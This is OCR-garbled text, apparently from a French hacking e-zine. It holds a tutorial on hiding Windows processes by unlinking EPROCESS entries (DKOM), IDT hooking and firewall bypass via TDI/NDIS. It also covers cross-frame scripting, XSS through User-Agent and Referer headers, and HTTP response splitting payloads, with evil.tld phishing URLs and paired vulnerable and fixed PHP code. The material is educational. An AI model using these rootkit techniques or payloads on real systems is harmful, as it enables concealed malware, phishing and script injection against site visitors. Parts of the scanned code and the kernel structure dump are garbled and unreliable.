SYSTEM_INFOMATION_CLASS de valeur
SystemModulelnformation qui va aller utiliser la

PsLoadedModuleList !

-On peut également donner des privileges a un thread (ou a un
simple processus) et ce sans pour autant avoir des privileges
comme TOKEN_ADJUST_GROUPS et TOKEN_ADJUST_PRIVILEGES.
En bref c'est super utile et ¢a roxx la choucroute william saurin !

II- Cacher un processus grace au DKOM.

C'est a mes yeux la manipulation la plus simple et "marrante" a
réaliser quand on débute avec le DKOM donc on va se pencher
la dessus. Tout d'abord un point de cours. On ne pourra pas
réaliser tout en kernel land. En effet il faut un tout Pitti
programme user land qui s'occupera de communiquer a notre
driver kernel land le nom du process a hide. Evidemment notre
Exe ne va pas communiquer le nom du processus au .Sys avec
des signaux de fumée, il va nous falloir utiliser les IOCTLs
(diminutif de I/O Control Codes) : en effet on enverra un IOCTL a
notre .Sys avec en argument le nom du processus a cacher en
bref on fera une chaine de caracteres.

Une fois que notre driver aura le nom du processus, il
faudra bien savoir quoi modifier. Et c'est la qu'il faut un
peu de reverse pour comprendre ou les informations
sont trouvées par le systéeme. Pour obtenir la liste des
processus ainsi que d'autres détails sur eux, il faut faire

appel a NtQuerySysteminformation() en mettant a
InformationClass une valeur SystemProcessinformation.
A partir de ca la demande sera gérée par
ExpGetProcessinformation() qui va lui méme regarder
dans la PsActiveProcessHead. En toute logique il faut
donc modifier la PsActiveProcessHead pour cacher
notre processus. Mais pour savoir comment faire il faut
tout d'abord un point de cours sur la
PsActiveProcessHead. La PsActiveProcessHead est une
double liste chainée référencant des structures
EPROCESS, chaque structure EPROCESS représente un
processus. Une structure EPROCESS contient une
structure LIST_ENTRY. On jette a coup d'ceil au type def
de cette structure ..

typedef struct _LIST_ENTRY {
struct _LIST_ENTRY *Flink;
struct LIST ENTRY *Blink,
} LIST_ENTRY, *PLIST_ENTRY;

On voit que la structure LIST ENTRY contient d'étrange
chose : FLINK et BLINK. FLINK et BLINK sont des
membres  qui sont  des pointeurs menant
respectivement au processus précédant et au
processus suivant. Il faudra donc modifier les membres
FLINK et BLINK de sorte a ce que lorsque
ExpGetProcessinformation cherche dans la liste il saute
notre processus et ¢a sera tout bon. Bon maintenant
que toute la marche a suivre est expliqguée il ne me
reste plus qu'a vous donner diverses informations sur
comment programmer tout ca.

Commencons par le programme user land qui est
simplissime. 1l vous faudra bien entendu inclure les
librairies pour utiliser tout ce qui a attrait a windows et
aux IOCTLs.

C'est a dire :
windows.h et winioctl.h.

Il faut également string.h pour gérer les chaines de
caractéres. Tout d'abord, on prépare notre chaine de
caractere (celle que j'avais précédemment expliquée).
On crée un handle de type hDevice sur notre driver
avec CreateFile (on n’oublie pas la définition

préalable "HANDLE hDevice;") Puis on envoie un IOCTL
contenant notre chaine de caractére a hDevice avec
I'api DeviceloControl.

Et c'est tout pour le programme ring3

Maintenant la partie kernel land, déja plus complexe :

Il faut la wdk évidemment donc les librairies wdm.h et
string.h pour manipuler les chaines de caractéres ring3
On commence notre driver par la routine
d'initialisation, un DriverEntry, point essentiel pour les
drivers, mon ami trOOps qui aime les trojans
appelleraient ca le point d'entrée du driver, en effet
lorsque I'lOCTL est envoyé a notre driver qui est dans
notre cas un Device il va chercher a contacter le
DriverEntry.




Pour ceux qui ne sauraient pas
comment écrire ce DriverEntry voici la
routine écrite ici :

NTSTATUS
DriverEntry(PDRIVER_OBJECT
pDriverObject, PUNICODE_STRING
pRegistryPath)

{

code

}

Comme son nom l'indique pDriverObject
est un pointeur, pointant sur une
structure DRIVER_OBJECT qui n'est autre
que l'image de notre driver chargé (si
vous voulez créer une fonction de
déchargement du driver il vous faudra
utiliser DriverUnload de cette structure).

pRegristryPath est lui aussi un pointeur,
pointant sur une string contenant le
chemin du fichier, si ma mémoire est
bonne c'est une chaine unicode . On
récupére grace a I'lOCTL le nom du
processus a cacher.

Pour cela on utilise
loGetCurrentirpStackLocation()
( PIO_STACK_LOCATION,

donc un pointeur vers la structure
10_STACK_LOCATION. On va ensuite voir
dans cette structure le membre
Parameters.DeviceloControl.loControlCo
de et hop c'est bon) Le "nom" processus

On la converti en Unicode a l'aide de l'api
RtlAnsiStringToUnicodeString() I va nous
falloir ensuite accéder a la
PsActiveProcessHead. Pour cela on va utiliser
loGetCurrentProcess qui est un api qui
renvoie un pointeur sur le processus et donc
sur une struct EPROCESS !

Ensuite on utilise ActiveProcessLinks qui est
un membre permettant de "se balader" dans
les différents EPROCESS. On compare notre
chaine de caractere aux ImageFileName des
EPROCESS :

Si les chaines sont identiques on a plus qu'a
faire une simple modification de pointeurs :
on modifie les flinks et blinks des processus
entourant celui que I'on veut cacher et c'est
bon le processus sera caché.

Sinon on continue de parcourir les
EPROCESS, une simple condition if else quoi.

1II-Méthode miracle ?

Non bien sur, un ceil averti peu se rendre
compte de la mascarade en scannant la
table des PID, la PspCidTable, mais la encore
on peut modifier cette table pour enlever le
pid de notre process, comme c'est le cas
dans le rootkit FuTo. Mais on peut aussi voir
le processus au niveau du thread scheduler
ou tout simplement en scannant |la
HandleTable. La encore des méthodes
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« Tout est question d'imagination et
de patience. »

Nous en étions donc a visiter le
kernel land dans le but de présenter
les différentes informations qu'il
contient, nous avons donc vu qu'’il
contenait différentes listes chainées
contenant des informations
diverses et variées, sur les
processus, modules etc.

Mais il ne s’arréte pas la pour ce qui
est stockage de l'information, en
effet il existe aussi des structures
qui servent  uniquement au
stockage d’'informations et

d’adresses, on citera bien
évidemment e KPCR. C'est
d’ailleurs  I'occasion pour moi

d’expliquer le choix de mon pseudo,
a l'époque j'étais passionné par
Windows (ca n’a pas trop changé
me direz vous) et j'apprenais petit a
petit des trucs sur le kernel land en
lisant différents forums. Et
forcément un jour j'ai entendu
parler du KPCR, qui en plus d'étre
une structure relativement
importante du ring0 est également
le point d’entrée kernel land (a
I'adresse OxFFDFFO0O ou encore
FS :0x01lc qui emmeéne au champ
SelfPcr du KPCR) donc je me suis
dis, ce pseudo sera mon entrée in
d4 world de l'informatique. Fin de
I'anecdote et regardons ce que

est sous forme d'une chaine de ! r : contient ce fameux KPCR en

caractére. existent pour cacher a cet endroit. utilisant I'instruction dt_KPCR.

Voila ce que I'on obtient :

Illl,f'?ngé—RKPCH On voit dans le premier champ une struct NT_TIB. Un petit
T0z000 HtTib WI_T1E coup de DT nous permet de voir ce qu’elle contient, les
+0=llc Ss1EPcE Frri2 KPCR noms sont plutoét évocateurs et nous montre un lien clair
+0=020 Prch Ptr32 ~HPRCE avec la pile ring0, jugez par vous-méme :
+0=024 Tregl TChar
+0x0?8 [RE Tint 4R lf?:'n?-%ﬂ TIE

B i} n
putnat Lyl F0al00 Escepticnlist ¢ Pird2 _EECEETION_RECISTRATION_RECORD
+0x034 ESVersionBlock Ptrl? Yoid Jllalle SeachPase  Bings dod
0=036 IDT Pir3? EIDTENTEY +0x008 StackLimat : Pird2 Voud
tlx= Ide +0x0ic SuhSy=renTib - Prri? Void
Igig ig %g gtigg —E%QE“TR? +0x010 FiberData . Ptr3z Void

; : — +0z010 Yarsi1on : UintdE

+0al44 HsjorVersion Uint2b +0x014 ArbitrarylserPointer : Ptrd2 Void
+g==gig &?ﬁ‘?ﬁsmn g_mtig +0x018 S=1f . Ptrd? _WI_TIB
=+ n I 11
+0=z04c StallScaleFactor Tint4E
+0x050 D=bugictive TChar
+0z051 Hunbar UChar ) . ) )
+0=052 Sparel ey On voit ensuite SelfPCR, qui contient I'adresse du KPCR,
+0x053 Sccmd[svclcmh,:gﬁnclutlﬂ_t? - TICh=T c'est ici que vous arrivez avec un FS:Oxplc. Passons a des
+0=054 Tonklert Tint4B notions plus intéressantes qui se matérialisent sous nos
+0x058 ¥=rn=lRe=srved [L4] TUintdE yeux avec Irql, IRR, IrrActive, IDR et IDT.
+0=090 EEDdeEvBlCa.chESLZE : JintdB
+02094 H=lReserved [le] TintiBE
+0x0d4 Interruptbode Tint4B
+0=z0d& Spar=1 TChar
+0xld- ¥=rn=lReserved? [L7] TUintdE
+0x120 Prochblats _FKFRCE




Le point h4x0r n°4: IDT Hooking

Les notions d'IRQL, IRR, IrrActive, IDR et IDT gravitent autour
d’'une méme notion, la notion d’interruptions, aussi bien
matérielles que logicielles. Bon la je vois déja vos tétes en
train de vous dire « ah gné wtf bbq ». Calmez-vous, I'objectif
de ce tutoriel est de vous introduire dans ce monde en
douceur, je vais donc expliquer tout cela. Une interruption
matérielle est provoqué comme son nom l'indique par du
matériel. Pour vous expliquer de maniere la plus claire
prenons un exemple, le cas d’école étant le clavier.

Vous ne le savez peut-étre pas, mais dés que vous appuyez
sur une touche de votre clavier, un signal électrique se
déclenche en direction du processeur, plus précisément une
broche du nom d’'IRQ, diminutif d’interrupt request qui va
provoquer une interruption

L'OS va détecter cela et en fonction du type d'interruption
provoquée, I'os va déléguer la tache d’aller retrouver le
SCANCODE en questionnant le clavier. Le clavier possede un
systeme de buffer aussi bien en INPUT qu’OUPUT, les
INPUT_BUFFER permettent de recevoir des commandes, au
contraire les OUTPUT BUFFER permettent d’envoyer des
informations, en I'occurrence il va envoyer le SCANCODE.
Mais a quoi servira le SCANCODE ? Et bien a étre « traduit »
pour savoir sur quelle touche I'utilisateur a appuyé. Et tout ca
presque instantanément. Balaise hein ?

Une interruption logicielle, quand a elle est provoquée par un
programme et non un périphérique mais a le méme but
qu’une interruption matérielle, I'exécution du code du logiciel
sera stoppé un court instant, pour exécuter une routine
exactement comme c’est le cas dans I'exemple du clavier,
pour ensuite reprendre le cours de I'exécution du code du
logiciel. 1l est également important de préciser qu'il existe
une « hiérarchie » des IRQ, en effet chaque IRQ a ce qu’on
appelle un IRQL, ¢a vous rappelle quelque chose vu dans le
KPCR hein ?

IRQL signifie évidemment Interrupt Request Level. Le niveau le
plus bas est le PASSIVE_LEVEL, c’est celui alloué pour les
programmes users vient ensuite I’APC_LEVEL, APC signifiant ici
Asynchronous Procedure Call, 'APC est un mécanisme tres
utilisé dans la programmation nécessitant une communication
entre threads. Cet IRQL est destiné pour ce genre de logiciels. A
niveau supérieur vient ensuite le DISPATCH_LEVEL qui a pour
avantage de permettre un accés a la mémoire utilisateur et
paginée. Ensuite vient les DIRQL_LEVEL qui sont destiné aux
interruptions matérielles. Sans surprise on voit donc que la
priorité est donnée au hardware. Et c’est la que vient Vous
savez maintenant ce qu’est une interruption matérielle ou
logicielle et leurs priorités. Il est indéniable qu'il serait trés utile
de pouvoir les maitriser. Encore faut-il savoir ou attaquer ? Et
bien au niveau de I'IDT, I'IDT étant I'endroit ol sont centralisées
les handlers des fonctions servant a gérer ces interruptions.

Conclusion de I’article :
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dée du kernel ana

La encore, dans un esprit similaire au SSDT Hooking, il suffit
de changer un handler pour un handler vers une fonction a
nous et cela nous permettra d'avoir notre code en kernel
land. Le microblog ( de nibbles propose un petit code
sympathique fait par mon ami OverclOk qui montre la marche
a suivre tres bien

ShOck : Bon, KPCR la tapz, déja que tu utilises mon pseudo
pour introduire des questions débiles, tu pourrais te magner
de finir ton article.

KPCR : OK, derniére question.

userl : Comment ga se passe pour communiquer avec
I’extérieur en kernel land ?

Internet et le kernel land

Tres bonne question. Contrairement en user land ol 90% des
gens utilisent la méme méthode pour communiquer avec
I'extérieur, c'est-a-dire utiliser winsock, en kernel land il existe
plusieurs interfaces pour communiquer vers I'extérieur. Il en
existe actuellement trois.

-Les Kernels sockets, uniquement depuis vista, systeme
comparable a winsock et tdi.

-TDI, diminutif de transport driver interface. Qui disparaitra a
partir de windows 7.

-NDIS, diminutif de network driver interface spécification.

Le classement ci-dessus classe les différentes interfaces par
niveau de difficulté du plus facile a utiliser au plus dur, c’est
également l'ordre du plus haut niveau au plus bas niveau.
Mais qu’en est-il au niveau de la transparence au
niveau des pare-feux ?

Le pare feu intégré a windows ne tarde pas a étre largué des
que l'interface tdi entre dans la part le firewall windows utilise
ipfilter or tdi fonctionnant avec tcpip.sys, situé plus bas
qu'ipfilter, tdi bypass le firewall windows et la plupart des
firewalls programmés par des amateurs, qui ont tendance a
utiliser le concept de filter hook drivers. Cependant les pare-
feux « stars »comme look n’ stop, ZA ou kerio ne s’arrétent
pas la. Pour contrecarrer les malheureux h4x0rs qui auraient
I'idée d’utiliser tdi ou ndis les firewalls vont aller se nicher
encore plus bas de sorte a contrbler tout ce qui se passe.
Mais ou ?

Pour répondre a cette question, un russe au doux pseudo de
MaD a écrit un immense article a ce sujet nous expliquant
que la plupart des firewalls se placent au niveau d’NDIS pour
ensuite hooke des handlers contenus dans les structures
NDIS_PROTOCOL BLOCK et NDIS OPEN BLOCK. En bref, ils
sont combatifs ces braves firewalls et une indectabilité a
100% est impossible acquérir Mais je suppose qu’il est
possible d’outrepasser ce probleme au niveau des
NDIS PROTOCOL BL et NDIS OPEN _BLOCK. Comment ?
Surement en reproduisant leur comportement et donc changé
notre tour les handlers ! Méme si il me semble que les
firewalls renouvellent ses handlers....

Si vous ne connaissiez pas le monde du kernel land windows avant cette article et que vous étes intéressés en ce moment
méme, alors |'objectif de cet article est rempli. Si vous voulez vous lancer dans ce domaine aprés cela, |'objectif est

DOUBLEMENT rempli.

Cet article est évidemment incomplet tant le monde du kernel land est vaste.

Je voudrais remercier quelques personnes :

-Xylitol-v00d0O0chile-OverclOk-PHPLizardo-Dorian-TrO0ps-ShOck-fyury
Pour ceux qui voudraient continuer I'aventure kernel land voici quelques liens de qualités :

http://www.rootkit.com/, http://www.ivanlefOQu.fr ,http://OverclOk.fr/ , https://www.openrce.org/,

http://www.uninformed.org/, http://www.phrack.com/,

Et une pensée toute particuliere pour quelqu’un qui m’a quitté moi et ce monde bien trop tot. Puisse-t-il vivre mieux la ou il est...

T T —
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Les failles de cross frame scripting sont le résultat de I'absence de vérification de la source (souvent src=) d'une page framée.
Visitée.

Le cross frame scripting
Explication théorique

Exemple typique:
http://www.site.tld/navigate.php?url=guestbook/index.php

Permet d'afficher le guestbook dans une frame.
Peut etre modifié en:
http://www.site.tld/navigate.php?url=http://evil.tld

Permet d'afficher le contenu de la page situé sur http://evil.tld

(ne confondez pas cette faille avec une faille include)

Les failles de cross frame scripting sont utilisées principalement dans du phishing , ou des tentatives d'hameconnages, méme si
ce genre de failles permettent aussi de répandre divers worms, d'attaquer les navigateurs.

Un attaquant pourra attaquer de cette maniére:
?url=http://evil.tld/phishing.php

L'attaquant pourra aussi encodé son attaque en hexadecimal :
%3F%75%72%6C%3D%68%74%74%70%3A%2F%2F%6C%61%6D%7A%6F%72%2E%63%6F%6D%2F
%70%68%69%73%68%69%6E%67%2E%70%68%70

Un screenshot de la vulnerabilité en action:

| w findex. phpziframe=http: {/milwirm, com 7 - ' J. @
' @Welco... B8 V
Welcome in: my-site-1s-not-secure.fr !
® google
S RArmivarf Innn
* ylitol ; |

Z2003-09-03
Z2003-09-03
Z200:3-09-03

Exemple de code source vulnerable

Nous utiliserons 4 fichiers comme exemple : en_tete.htm, accueil.htm,navigation.htm,index.php
Navigation.htm:

<!DOCTYPE html| PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.0rg/TR/xhtmI1/DTD/xhtml1-transitional.dtd">
<html xmIns="http://www.w3.0rg/1999/xhtml">

<head>

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

<title>Menu</title>

</head>

<body bgcolor="#CCCCCC">

<pre>

</pre>

<p> </p>

<p> </p>

<ul>
<li><a href="index.php?iframe=http://google.com" target="_parent">google</a></li>
<li><a href="index.php?iframe=http://fr.wikipedia.org/wiki/Accueil" target="_parent">wiki</a></li>
<li><a href="index.php?iframe=http://xylitol.free.fr/" target="_parent">Xylitol</a></li>

</ul>

<p> </p>

</body>

</html>



http://evil.tld/phishing.php
http://www.site.com/navigate.php?url=http://google.com
http://www.site.com/navigate.php?url=guestbook/index.php
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<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.0rg/TR/xhtmI1/DTD/xhtml1l-transitional.dtd">
<html xmIns="http://www.w3.0rg/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>en tete</title>
<style type="text/css">
<!--
.Stylel {
color: #FFFFFF;
font-size: 36px;

En_tete.htm:

}

-—>

</style>

</head>

<body bgcolor="#00007F">

<span class="Stylel">Welcome in: my-site-is-not-secure.fr ! </span>
<br />

Valid W3C !1!111!!1 - Greetz: Shéisy

</body>

</html>

accueil.htm :

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.0rg/TR/xhtmI1/DTD/xhtmll-transitional.dtd">
<html xmIns="http://www.w3.0rg/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Accueil </title>
</head>
<body bgcolor="#FFCC66">
<hl>What the Hell ?</h1>
</body>
</html>

index.php :

<!DOCTYPE html| PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.0rg/TR/xhtmI|1/DTD/xhtml1-transitional.dtd">
<html xmIns="http://www.w3.0rg/1999/xhtm|" >
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title> Welcome in my-site-is-not-secure.fr</title>
</head>
<frameset rows="*" cols="110,*" frameborder="NO" border="0" framespacing="0">

<frame src="navigation.htm" name="navigation" frameborder="yes" scrolling=""NO" bordercolor="#0000CC"
id="navigation">

<frameset rows="98,*" cols="*" framespacing="0" frameborder="NO" border="0" >

<frame src="en_tete.htm" name="en-tete" frameborder="yes" scrolling="NO" bordercolor="#000000" id="en-tete">
<frame src="<?php
if(isset($_GET['iframe']))
echo $_GET['iframe']; // OMG Epic fail !
else
echo "accueil.htm";

?>" name="corps" scrolling="auto" id="corps">

</frameset>
</frameset><noframes>No frames :(</noframes>
</html>

Syntax: index.php?iframe=http://google.com



http://google.com/
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Exemple de code source sécurisé
Index.php:

<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.0rg/TR/xhtmI1/DTD/xhtml1l-transitional.dtd">
<html xmIns="http://www.w3.0rg/1999/xhtml">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title> Welcome in my-site-is-secure-now.fr</title>
</head>
<frameset rows="*" cols="110,*" frameborder="NO" border="0" framespacing="0">
<frame src="navigation.htm" name="navigation" frameborder="yes" scrolling=""NO" bordercolor="#0000CC"
id="navigation">
<frameset rows="98,*" cols="*" framespacing="0" frameborder="NO" border="0" >
<frame src="en_tete.htm" name="en-tete" frameborder="yes" scrolling="NO" bordercolor="#000000" id="en-tete">
<frame src="<?php
//secure code
if(isset($_GET['iframe']))
{
$allowUrls = array("http://google.com", "http://fr.wikipedia.org/wiki/Accueil", "http://xylitol.free.fr/"); // add your
allowed links here

if(in_array($_GETI['iframe'l, $allowUrls))

echo $_GET['iframe']; //if iframe have an url allowed
else // for show the main page (or an error page)
echo "accueil.htm";

else // 11
echo "accueil.htm";
?>" name="corps" scrolling="auto" id="corps">
</frameset>
</frameset><noframes>No frames :(</noframes>
</html>

Autre solution :

// Checking urls with regex
<?php
if(isset($_GET['iframe']))
{

if(preg_match("#http://xylitol\Sfree\Sfr/SiteSecure/[0-9A-Za-z.-]1{1,13}.htm#",
$_GET['iframe'])) // The document must make between 1 and 13 letters in front of “.htm", it leaves a short number
preferably

echo htmlentities($_GET['iframe']); //we secure xss

else // Show main page (or an error page)

echo "accueil.htm";

7>
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Le Cross User-Agent Scripting (XUAS) permet I'exécution de javascript ou html a l'intérieur de I'User-Agent correspondant
normalement au navigateur. Vous avez sans doute déja visité un site web dans lequel la version de votre navigateur été affichée,
eh bien si le site I'affiche il est possible que celui ci soit vulnerable au faille de type XSS.

Header for fun and profit
Cross user-agent scripting

Basic header request :

GET /search?g=lol&ie=utf-8&oe=utf-8&aq=t&rls=org.mozilla:fr:official&client=firefox-a HTTP/1.1
Host: www.google.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;0=0.8

Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3

Accept-Encoding: gzip,deflate

Accept-Charset: 1ISO-8859-1,utf-8;9=0.7,%,=0.7

Keep-Alive: 300

Connection: keep-alive

Cookie: PREF=ID=28b7ef6af5bc7¢75:TM=1216021699:LM=1216150284:GM=1:S=aGO7RnRgf-g-4roM;
NID=14=W9uUr5xq78IfW_kvmrt5ok]YaXkZpWV14dQQMOtug2Rx3-
mmQAhYRYR5vGUbGVdpKpaxKC88s7G5Z2YBx7gdB_Ga9Z500BCerjy]PQ2gfVyfIM-cjXTf8TzJO4dSMjQHR

Basic header request exploited :

GET /search?q=lol&ie=utf-8&oe=utf-8&aq=t&ris=org.mozilla:fr:official&client=firefox-a HTTP/1.1
Host: www.google.com

User-Agent: <script>alert('X \nS\nS')</script>

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*%/*;0=0.8

Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;g=0.3

Accept-Encoding: gzip,deflate

Accept-Charset: ISO-8859-1,utf-8;9=0.7,%;,0=0.7

Keep-Alive: 300

Connection: keep-alive

Cookie: PREF=ID=28b7ef6af5bc7c75:TM=1216021699:LM=1216150284:GM=1:S=aGO7RnRgf-g-4roM;
NID=14=W9uUr5xq78IfW_kvmrt5ok]YaXkZpWV14dQQMOtug2Rx3-
mMmMQAhYRYR5vGUbGVdpKpaxKC88s7G5Z2YBx7gdB_Ga9Z500BCerjy]PQ2gfVyfIM-cjXTf8TzJO4dSMjQHR

Votre User-Agent personnalisé n'est pas mal mais aviez vous déja testé ca :

Allez dans about:config avec votre navigateur puis right click -> New -> String , une boite de message s'ouvre et vous
demande “ Enter the preference name” , tapez general.useragent.override puis OK maintenant entrez une chaine comme du
javascript ou du html a l'intérieur du champ string associé a la valeur que vous avez créé. Une autre solution consiste a installer
le plugin firefox User-agent switcher qui permet aussi de modifier I'UA.

A propos de Mozilla Firefox

Firefox

version 3.0.1

©1995-2008 Les contributeurs, Tous droits réservés,
Firefox et les logos Firefox sont des marques déposées
de la Mogzilla Foundation, Tous droits réservés,

<scripk=alert{’ \n5ins < fscript >

Contributeurs

b
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Exemple de code source vulnerable :
XUA :

<?php

echo (getenv(“HTTP_USER_AGENT"));
echo ‘<br />"; /lor

echo ($_SERVER[‘HTTP_USER_AGENT']);
?7>

Avec modification malicieuse de I'UA :

Annonce de la page hitp:/flocalhost : [Z|

Exemple de code source sécurisé :

<?php

echo htmlspecialchars (getenv(“HTTP_USER _AGENT"));
echo ‘<br />"; /lor

echo htmlspecialchars ($_SERVER['HTTP_USER_AGENT']);
7>

Pour afficher I'UA grace au javascript :
<script language=javascript>
document.write(navigator.userAgent);
</script>

Note: Les failles XUAS ne limitent pas forcément les vecteurs d'attaques aux xss mais aussi aux autres type de
failles web associées, tel que les sql injection.

Cross Referer Scripting :

Un autre moyen d'éxécuter du javascript arbitrairement est en passant par le Referer , tel les failles XUAS les XRS
(cross referer scripting) utilisent I'entéte de la requéete envoyée pour executer du code sur un site . Les Referants
sont utilisés fréquemment par les webmaster dans les log de leurs serveurs pour suivre les visiteurs. C'est pourquoi
des sites comme anonym.to qui permettent de masquer le référant existent .

Nous utiliserons un plugin firefox dans cette démonstration , ce plugin nous permettera de modifier notre référant
par celui que nous souhaiterons.

Refcontrol :

http://www.stardrifter.org/refcontrol/
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Dans les options :

__-1 Options de RefControl

Fichier  Options  Ajde

Wous pouwez préciser le referer qui sera utilisé pour chaque site

el Paraméatres de RefControl pour ce site

. Step2-
Site [hetpzjftzz.00.1 1L |

Comporkement

O Mormal - envoyer le véritable referrer {'adresse de
provenance)

() Blocage - ne pas envoyer de referer

() Leurre - envayer |a racine de ce site (http://SITES)

raliss : |ﬁscript:=a|ert('><SS')<:,|'script:= ii 4

eulement pour les requétes d'applications tierces.
OK=¥P ﬂnuler

[ '!Editer un sike ] [S@primer un site ] lSupprimer tous les sites ]

Compottement par défauk pour les sites non répertories | MNormal | [ Editer ]

[ O ] [ Annuler ]

Si tout a bien marché :

Basic header request

GET /search?hl=fr&client=firefox-a&rls=org.mozilla%3Afr%3Aofficial&hs=Kcu&qg=lawl&btnG=Rechercher&meta= HTTP/1.1
Host: www.google.fr

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;0=0.8

Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3

Accept-Encoding: gzip,deflate

Accept-Charset: ISO-8859-1,utf-8;9=0.7,%;,0=0.7

Keep-Alive: 300

Connection: keep -alive

Referer: h

le.f i i
Cookie: SS= QO ngs PREF=ID= d53b13b79d03a27cTM 1216021699 LM 12160216995 E3oh8T7tha5G7PY
NID=14=pr]Q6exoKYIICGBcOTnP9enlcd2UA-DXWmdaRqWTJfMXTzUkIR6-LpdQRvBHb0ezOcNpEV86Fj67G5sbTRx-
5fimgOWXDSAeXwMf3tcfs1Wil3HxfofzDIU2VRX6jNo_



http://www.google.fr/search?q=lol&ie=utf-8&oe=utf-8&aq=t&rls=org.mozilla:fr:official&client=firefox-a
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Basic Header request exploited

GET /search?hl=fr&client=firefox-a&rls=org.mozilla%3Afr%3Aofficial&hs=Kcu&q=lawl&btnG=Rechercher&meta= HTTP/1.1
Host: www.google.fr

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;0=0.8

Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3

Accept-Encoding: gzip,deflate

Accept-Charset: 1ISO-8859-1,utf-8;9=0.7,%;,0=0.7

Keep-Alive: 300

Connection: keep-alive

Referer: <script>alert('XSS')</script>

Cookie: SS=Q0=bG9s; PREF=ID=d53b13b79d03a27c:TM=1216021699:LM=1216021699:S=E30h8T7)xha5G7PY;
NID=14=prJQ6exoKYIICGBcOTnP9enlcd2UA-DXWmdaRqWTJfMXTzUkIR6-LpdQRvBHb0ezOcNpEV86Fj67G5sbTRx-
5fimgOWXDSAeXwMf3tcfs1Wil3HxfofzDIU2VRX6jNo_

Exemple de code source vulnerable :

<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.0rg/TR/xhtmI1/DTD/xhtmI1-
transitional.dtd">

<html xmIns="http://www.w3.0rg/1999/xhtml">

<html>

<head>

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

<title>XRS</title>

</head>

<body>

<a href="XRS.php">Click</a>

<br />

<?php

$referer = (lempty($_SERVER['HTTP_REFERER'])) ? $ SERVER['HTTP_REFERER'] : 'Unspecified';
echo "$referer"”;

7>

</body>

</html>

Exemple de code source sécurisé :

<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.0rg/TR/xhtmI1/DTD/xhtml1-
transitional.dtd">

<html xmIns="http://www.w3.0rg/1999/xhtm|" >

<html>

<head>

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

<title>XRS</title>

</head>

<body>

<a href="XRS.php">Click</a>

<br />

<?php

$referer = (lempty($_SERVER['HTTP_REFERER'])) ? $ SERVER['HTTP_REFERER'] : '‘Unspecified’;
echo htmlspecialchars("$referer");

7>

</body>

</html>
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Le http response splitting est une vulnerabilité exploitée sur le protocole HTTP 1.1 . Un utilisateur malicieux pourra utiliser ce
type de faille pour effectuer des attaques segmentées sur une application web vulnérable. L'éventail des possibilité
d'exploitation est assez varié , csrf, phishing,worm spreading etc...

HTTP Response Splitting

L'exploitation de cette vulnerabilité consiste a créé une requéte http a I'aide d'une variable url vulnerable. Cette faille permet
de tromper le navigateur en lui donnant la possibilité d'exécuter du HTML ou du javascript a son insu.

Ce genre de faille arrivent lorsque :

La source des données qui sont congues pour rentrer a l'intérieur de l'application web ne sont pas filtrées, pas sécurisées , le
plus fréquemment ce sont des requétes HTTP.

La donnée qui est inclue a l'intérieur de I'entéte HTTP répondue n'est pas filtrée en retour.

Dans le but d'exploiter ce type de vulnérabilité , I'application web devra ne pas filtrer les caractéres contenant des retour
chariots CR (carriage return) ou bien %0d et \r a l'intérieur de I'entéte de la requéte et Line Feed (LF) %0a ou \n. Ces
caractéres ne donnent pas seulement la possibilité a I'attaquant de controler les entéte manquantes et le corps (body) de la

page affichée en réponse que la personne tente d'envoyé , mais permet aussi de créé des réponses additionnelles aux
requéte et cela totalement sous leur contréle

Exemple de vulnerabilité : HTTP Response Splitting:

%0d %0AContent-Type:%16text/htmI%0AContent-Length:13%0A%0Ayou%20are%20xssed%20

%0d%0aContent-Type: text/htm|%0d%0a%0d%0aHTTP/1.1 200 OK%0d%0alLast-Modified: Wed, 13 Jan 2006 12:44:23 GMT%0d
%0aContent-Type: text/htmI%0d%0a%0d%0a<html><font color=red>hey</font></htmI> HTTP/1.1

%0d%0aContent-Type: text/htmI|%0d%0a%0d%0aHTTP/1.1 200 OK%0d%0aCache-Control: no-cache%0d%0aContent-Type:
text/htmI%0d%0a%0d%0a<html><font color=red>hey</font></html|> HTTP/1.1

%0d%0aContent-Type: text/html|%0d%0a%0d%0aHTTP/1.1 200 OK%0d%0aPragma: no-cache%0d%0aContent-Type: text/html
%0d%0a%0d%0a<html><font color=red>hey</font></html|> HTTP/1.1

%0d%0AContent-Type: text/html;charset=UTF-7%0A%0A%2BADw-script%2BAD4-alert('%58%79%4C%69%54%6F%4C%21');
%2BADw-/script%2BAD4-

Dans le screen ci dessous nous voyons que la xss a faillie mais pas le test http response splitting.

XSS test:
